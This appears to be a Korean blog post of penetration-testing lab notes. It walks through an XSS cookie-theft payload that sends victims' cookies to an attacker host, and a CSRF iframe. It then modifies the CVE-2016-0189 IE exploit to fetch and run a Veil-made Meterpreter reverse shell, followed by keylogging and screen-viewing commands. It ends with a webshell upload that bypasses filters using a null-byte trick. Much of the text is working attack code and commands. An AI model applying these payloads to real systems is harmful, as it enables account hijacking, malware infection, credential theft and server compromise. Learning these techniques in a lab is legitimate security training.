보안 / 개발 챌린저가 목표

모의해킹 실습 (2) 본문

IT Security/Class_Do it

모의해킹 실습 (2)

햄미은서 2020. 10. 12. 20:45

▶ 쿠키값 탈취를 통한 타사용자 권한 획득

  ① 공격자는 XSS 취약점이 있는 게시판에 악성 스크립트 구문을 삽입한다.

<iframe id="targetFrame" width=0 height=0></iframe><script>document.getElementById("targetFrame").src="http://192.168.0.133/getcookie.asp?cookie="+document.cookie;</script>

  - 공격자의 IP를 웹서버로 만들어주어야 실행된다.

     *src에는 공격자의 IP주소를 넣어준다. (나는 Window XP의 IP 주소!)

 

  - getcookie.asp

<%
cookie=request("cookie")
Set fs = Server.Createobject("Scripting.FileSystemObject")
	if fs.fileexists("c:\webpages\xss.txt") then
	else
		fs.createtextfile "c:\webpages\xss.txt", True
	end if

Set objFile = fs.OpenTextFile("c:\webpages\xss.txt", 8)
objFile.writeLine("-----------------------------------------------")
objFile.writeLine(cookie)
objFile.close
%>

 

  ② 피해자는 Internet Explorer(IE) 브라우저로 http://61.39.155.24:50003/ 게시판의 해당 게시글을 열람한다(로그인 한 상태).

   → 나의 로그인 정보는 kisec / kisec

 

  ③ 공격자의 PC의 C:\webpages\xss.txt 가 생성된다.

 

  ④ 공격자 IE 브라우저의 Cookie Tool → Edit cookie → xss.txt의 쿠키값을 셋팅한 후, 새로고침을 하면 해당 쿠키값을 가진 아이디로 로그인이 된다.

쿠키값 셋팅 후 Set

  kisec 계정으로 로그인이 되었다.

▷ CSRF 취약점

  - 사이트 간 요청 위조(Cross-site Request Forgery)

  - 웹 어플리케이션 취약점 중 하나로, 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 하여

    특정 웹 페이지를 보안에 취약하게 한다거나 수정, 삭제 등의 작업을 하게 만드는 공격 방법이다.

  - 공격의 난이도가 높지 않아 널리 사용되는 방법 중 하나이다.

 

  *http 패킷 덤프 뜨는 HttpWatch(XP에서) 설치 후 IE 브라우저에서 shift + F2 하면 밑에 같이 보여준다.

 

▽ 상품이 장바구니에 자동으로 담기게 하는 공격

  ① 상품을 담을 때 Record를 눌러 기록을 시작하고 상품 카트 담기를 한다.

 

  ② 상품 장바구니 요청 URL

  POST의 주소를 복사해 놓는다. (http://61.39.155.24:50003/demoshop/shopping_cart/cart_set.asp) 

ea 1
g_code 200811415950
top 1

  POST Data 를 확인한다.

  ③ 스크립트 구문

<iframe src="http://61.39.155.24:50003/demonshop/shopping_cart/cart_set.asp?ea=7597&g_code=200811415950&top=1" width=0 height=0></iframe>

 

  ④ 위의 스크립트문을 포함한 글을 쓴 후, 글을 클릭하여 읽은 다음 내 쇼핑 카트를 가서 확인하면 담겨져있다.

▶ XSS 취약점이 있는 사이트를 이용한 악성코드 감염 공격 시나리오

  - 페이로드(payload)

     : 전송되는 데이터를 의미. 

     : 데이터를 전송할 때 헤더와 메타데이터, 에러 체크 비트 등과 같은 다양한 요소들을 함께 보내어

       데이터 전송의 효율과 안정성을 높히게 된다. 이 때, 보내고자 하는 데이터 자체를 의미하는 것.

 

  ① 환경 구성

   1) 공격자

     § Kali Linux : exploit page + malware repository(악성코드 제작 및 악성코드 저장소) → 악성서버

                      (exploit page = Internet Explorer(IE) exploit)

     § WIN_WEB : 악성 서버(exploit page)로 유도시키는 악성스크립트 구문삽입(XSS 취약점을 이용한 악성스크립트 구문 삽입)

  2) 피해자

     § Window(7) PC : IE vulnerability

 

  ② IE exploit code

   1) CVE-2016-0189 github 검색 : https://github.com/theori-io/cve-2016-0189 

     (위의 github의 exploit 폴더 - vbscript_godmode.html에서 소스 확인 : 104 ~ 107 줄 확인)

   2) vbscript_godmode.html

 

  Kali에서 github를 읽어와 cve 폴더에 vbscript_godmode.html 파일을 복사한다.

 

  apache를 실행(service apache2 start)시키고 Kali의 IP주소를 확인하여 win7(피해자)의 브라우저에서 확인해본다.

 

  http://192.168.0.130/vbscript_godmode.html 을 실행하면 다음과 같이 cmd 창이 뜬다.

  *명령어가 실행되면 안되므로 취약한 것!

 

  ③ 악성코드 제작

   1) Veil-Framework

     § 윈도우 기반 악성코드를 제작할 때 사용.

       ☞ Kali의 홈 디렉토리에서 Veil을 들어가기.

       ☞ metasploit - meterpreter 연동 가능 (정보 수집을 효율적으로 할 수 있음)

 

   2) 윈도우 기반 악성 코드 제작 및 metasploit 연동(리스닝)

     § ls -al로 확인 ⇒ Veil.py 가 있는지!

     § Veil.py를 실행하고 Evasion을 사용함.

     

     § list를 이용하여 현재 버전에서 윈도우 악성코드 제작 가능한 목록들을 확인한다.

       *그 중 우리는 28) python/meterpreter/rev_tcp.py 으로 만들 것!

          피해자가 공격자한테 보낸다. = reverse

          공격자의 ip가 들어가야 한다.

 

     § LHOST 에 칼리(공격자)의 IP를 넣어야한다.

     § set LHOST [공격자 IP]

      set LHOST 192.168.0.130

     § 나는 53 포트를 사용한다. 보통은 공격자를 구분하기 어렵게 하려고 80 포트를 사용한다.

      set LPORT 53

      generate

 

     § ctrl + shift + t 하면 새 터미널이 열린다(칼리에서!).

 

     § 악성파일이름은 messbox로 한다. 1 을 입력하면 파이썬을 설치하겠다는 의미이다.

 

     § enter 하지 말고 새 터미널을 열어준다.

 

     § /var/lib/veil/output/compiled/messbox.exe를 홈 디렉토리에 옮겨줘야 한다.

     cp /var/lib/output/compiled/messbox.exe /var/www/html

     service apache2 restart

     msfconsole -r /var/lib/veil/output/handlers/messbox.rc

 

 

  위와 같이 되었다면, 대기 상태인 것이다.

 

  ④ 악성코드 감염 Payload 제작

   1) CVE-2016-0189 취약점을 이용한 Payload 제작

   2) vbscript로 작성

     § 악성 서버의 악성파일(messbox.exe) 호출 ⇒ Kali의 홈 디렉토리의 messbox.exe 파일의 http로 요청

        GET http://[Kali의 IP]/messbox.exe

 

     § 요청한 messbox.exe를 %temp% 디렉토리에 저장

        SaveToFile "%TEMP%\messbox.exe"

 

     § 저장된 messbox.exe를 실행

        Exec("%TEMP%\messbox.exe")

     * TEMP를 쓰는 이유 : UAC 기능을 우회하기 위하여 사용!

 

   3) Kali에서 place - Computer - var - www - html - vbscript_godmode.html 을 open with other application

      - view all applications - leafpad 로 들어가서 cmd를 검색하여 찾기.

 

     § 해당 두 줄을 지우고,

     다음과 같이 설정한다(밑줄친 부분은 Kali의 IP로 변경!).

      *options - Word Wrap 하면 칸에 맞춰 줄바꿈 됨!

 

  ⑤ XSS 취약점을 이용한 악성 스크립트

<a href="http://192.168.0.130/vbscript_godmode.html">클릭</a>

  XP에서 위의 태그를 넣은 글을 작성한다.

 

  작성 후, 해당 글에 들어가서 클릭 을 누른다.

 

  Kali에 이렇게 감염이 된 것이 확인 가능하다.

 

  %TEMP% 폴더에도 messbox.exe가 생겼다.

 

  ⑥ 감염 이후 피해자 PC 정보 수집

   1) 감염 완료 후 Kali에서 enter 후에 sessions 하면 감염 PC 목록이 뜬다.

   2) sessions -i 1 후에 ? 하면 쓸 수 있는 명령어들이 나온다.

   3) 그 중 sysinfo 가 피해자 PC의 대략적인 정보를 보여준다.

   4) 공격의 유지를 위하여 이동한다.

   이를 이동해야 한다.

 

   ps -S explorer.exe 를 하여 PID를 확인한다.

 

   5) PID를 이동시킨다.

   migrate 1516

 

   번외 1) 피해자의 key 입력 값을 모두 받아오기

   keyscan_start를 입력하고, 피해자의 PC에서 키보드에 입력을 해본다.

   그 후, keyscan_dump를 하면 밑의 결과처럼 값이 나온다. 조합을 잘 해보면 ID와 PW 등 중요 정보를 획득 가능하다.

 

   번외 2) 피해자 PC의 화면을 불러오기. 원격 제어는 아니고 그냥 훔쳐보는 것.

   run vnc 로 실행 가능하다.

   Kali인데 XP의 화면이 보인다.

▷ 파일 업로드 공격

  - fckdeitor, smartdeitor2 등의 취약점 (editor 자체의 취약점을 찾아야 한다).

  - 첨부파일이 올라갈 수 있는 부분들을 다 검사해야 한다.

 

  ① asp 파일이 업로드 되는지 확인한다(기본적으로는 안됨. 에러메시지가 나온다).

 

  ② burp suite 를 사용한다.

   *간단 설정

     1) proxy - options - intercept 체크하기! (request, response 다)

     2) options - display - 한글 지원하는 폰트로 변경( ex) 돋움체 )

 

  ③ proxy를 설정한다(켜준다).

  ④ asp 파일을 등록할 수 있는 소스 코드를 추가한다.

  ⑤ forward로 넘긴 다음 asp 파일을 추가하여 글을 작성해본다.

  ⑥ .asp 파일이 올라간 것이 확인된다.

  *특수문자 우회 공격

     § "%00", "%ZZ", "%09", "%13" 등

        webshell.asp%00.txt 하면 %00 뒤의 값은 null로 인식하여 결국 webshell.asp 파일로 인식됨.

 

  ⑦ 올린 파일의 이름과 경로를 찾기

  § strFileName=webshell(138).asp    -> 나는 여러번 올려보느라 파일 이름 달라짐

  § f_path=upload_file

 

  ⑧ 찾은 경로를 통하여 접근하기  

   § http://61.39.155.24:50003/demoshop/shop_board/upload_file/webshell(138).asp

  ⑨ 위의 exec 검색 창에 ipconfig 를 검색해보기

  이와 같이 해당 웹 서버의 PC의 정보가 나오게 된다.

'IT Security > Class_Do it' 카테고리의 다른 글

모의해킹 실습 (4)  (0) 2020.10.14
모의해킹 실습 (3)  (0) 2020.10.14
모의해킹 실습 (1)  (0) 2020.10.07
네트워크 장비 진단  (0) 2020.09.25
Window 서버 진단 (2)  (0) 2020.09.23
Comments